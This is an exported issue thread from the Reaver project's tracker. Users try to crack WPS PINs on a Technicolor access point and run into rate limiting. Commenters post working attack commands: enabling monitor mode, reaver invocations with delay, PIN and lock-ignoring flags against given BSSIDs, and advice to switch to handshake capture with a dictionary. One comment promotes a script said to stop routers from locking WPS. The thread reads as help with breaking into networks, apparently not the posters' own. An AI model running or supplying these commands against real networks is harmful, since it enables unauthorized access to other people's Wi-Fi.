Detected AP rate limiting after 2-3 trying pin

[GoogleCodeExporter]

0. What version of Reaver are you using?  (Only defects against the latest
version will be considered.)
v1.4

1. What operating system are you using (Linux is the only supported OS)?
Ubuntu 13.10

2. Is your wireless card in monitor mode (yes/no)?
yes

3. What is the signal strength of the Access Point you are trying to crack?
-47 db

4. What is the manufacturer and model # of the device you are trying to
crack?
Technicolor

5. What is the entire command line string you are supplying to reaver?
sudo airmon-ng start wlan0
sudo reaver -i mon0 -b A4:B1:E9:XX:XX:XX -vv

6. Please describe what you think the issue is.
Every two-three attemps Reaver shows "Detected AP rate limiting"; it seems that 
AP lock me out and the problem is that in 12 hours reaver tried only 4-5 pins.
If i try to add "--ignore-locks" reaver goes in loop trying always the same pin.
Can i solve this problem? Keeping reaver going on for days may solve the 
problem?

7. Paste the output from Reaver below.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from A4:B1:E9:XX:XX:XX
[+] Switching mon0 to channel 11
[+] Associated with A4:B1:E9:XX:XX:XX (ESSID: TNCAPXXXXXX)
[+]Trying pin 30994362
[+]Trying pin 33544366
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[+]Trying pin 93544368
[+]Trying pin 70594362
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

Original issue reported on code.google.com by mrch...@gmail.com on 8 Nov 2013 at 11:00

[GoogleCodeExporter]

I am too getting the same problem across different access points. Please let me 
know if you have fixed it.

Original comment by syeek...@googlemail.com on 13 Dec 2013 at 6:18

[GoogleCodeExporter]

"6. Keeping reaver going on for days may solve the problem?"
No, it wouldn't. Don't waste your time. As of 12/18/13 from my own experience =J
I would recommend to try z handshake method with a good dictionary ( + 8/9 
digits wordlist) in this case 8)

Original comment by pigols...@gmail.com on 18 Dec 2013 at 8:45

[GoogleCodeExporter]

Technicolor APs are not vulnerable to WPS exploit anymore.

Sorry to say th
eres is no solution for your problem. Move on

Original comment by Troikaop...@gmail.com on 28 Feb 2014 at 6:41

[GoogleCodeExporter]

You need to add a delay to pin attempts.  So to start out, try something like:

sudo reaver -i mon0 -b A4:B1:E9:XX:XX:XX -vv -d 30

Worked for me, but of course, your results may vary :)

Original comment by derekthe...@gmail.com on 7 Mar 2014 at 1:33

[GoogleCodeExporter]

i try the 45 and 50 sec deley but wps lock

Original comment by patilary...@gmail.com on 12 Apr 2014 at 8:27

[GoogleCodeExporter]

It's happening the same to me... 

The idea of delay to pin attempts has been resulting to someone?

Original comment by reftiago...@gmail.com on 15 Apr 2014 at 3:18

[GoogleCodeExporter]

handshake method is very time consuming.
and I try reaver whole month in different methods but nothing happen. I also 
try reaver using time delay, timeout , mac spoofing but it's wps lock after 5 
to 7 pin attempt or hangs.
please give me the valid solution

Original comment by patilary...@gmail.com on 16 Apr 2014 at 6:03

[GoogleCodeExporter]

reaver -i mon0 -b 64:66:B3:4A:BF:66 -c 9 -a -p 83514678 -L --dh-small -vv -d 5  

use thats

Original comment by saifman1...@gmail.com on 7 Jun 2014 at 10:51

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

I have tried what the guy on youtube said, but the script has some errors... 
Have you executed it successfully?

Original comment by kross...@gmail.com on 17 Aug 2014 at 10:39

[GoogleCodeExporter]

Нашол способ обойти WARNING: Detected AP rate limiting, 
waiting 60 seconds before re-checking. 
В новых роутерах разработчики ПО поставили 
защиту на WPS. Как она действует, когда вы 
запускаете программу для подбора пароля 
после 10-15 попытки роутер блокирует WPS и 
программа выдает ошибку WARNING: Detected AP rate 
limiting, waiting 60 seconds before re-checking. И эта ошибка 
действует до перезагрузки роутера. Я нашел 
способ обойти эту ошибку написал скрипт 
который не дает роутеру блокировать wps. 
Подробною информацыю можно найти: 
https://vk.com/zlomwps

Original comment by asiste...@gmail.com on 8 Sep 2014 at 4:01

[GoogleCodeExporter]

#2

What is that "z handshake method" you are talking about ?

Original comment by henrique...@gmail.com on 2 Jan 2015 at 2:32

[GoogleCodeExporter]

with wps-pin we could perhaps get ahead start . 

Original comment by fraf...@gmail.com on 25 Feb 2015 at 7:52